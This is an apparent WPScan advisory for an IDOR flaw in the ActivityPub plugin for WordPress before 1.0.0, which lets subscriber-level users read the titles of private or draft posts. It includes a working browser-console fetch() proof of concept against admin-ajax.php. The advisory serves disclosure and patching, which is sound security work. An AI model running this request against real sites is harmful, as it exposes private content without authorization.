WordPress Plugin Vulnerabilities

ActivityPub for WordPress < 1.0.0 - Subscriber+ Arbitrary Post Title Disclosure

Description

The plugin does not ensure that post titles to be displayed are public and belong to the plugin, allowing any authenticated user, such as subscriber to retrieve the title of arbitrary post (such as draft and private) via an IDOR vector

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[ap_title]&post_ID=42",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will disclose the title of the private/draft post with ID 42 in the response

Affects Plugins

Fixed in 1.0.0

References

Classification

Type
IDOR
CWE

Miscellaneous

Original Researcher
Erwan LR (WPScan)
Verified
Yes

Timeline

Publicly Published
2023-09-25 (about 7 months ago)
Added
2023-09-25 (about 7 months ago)
Last Updated
2023-09-25 (about 7 months ago)

Other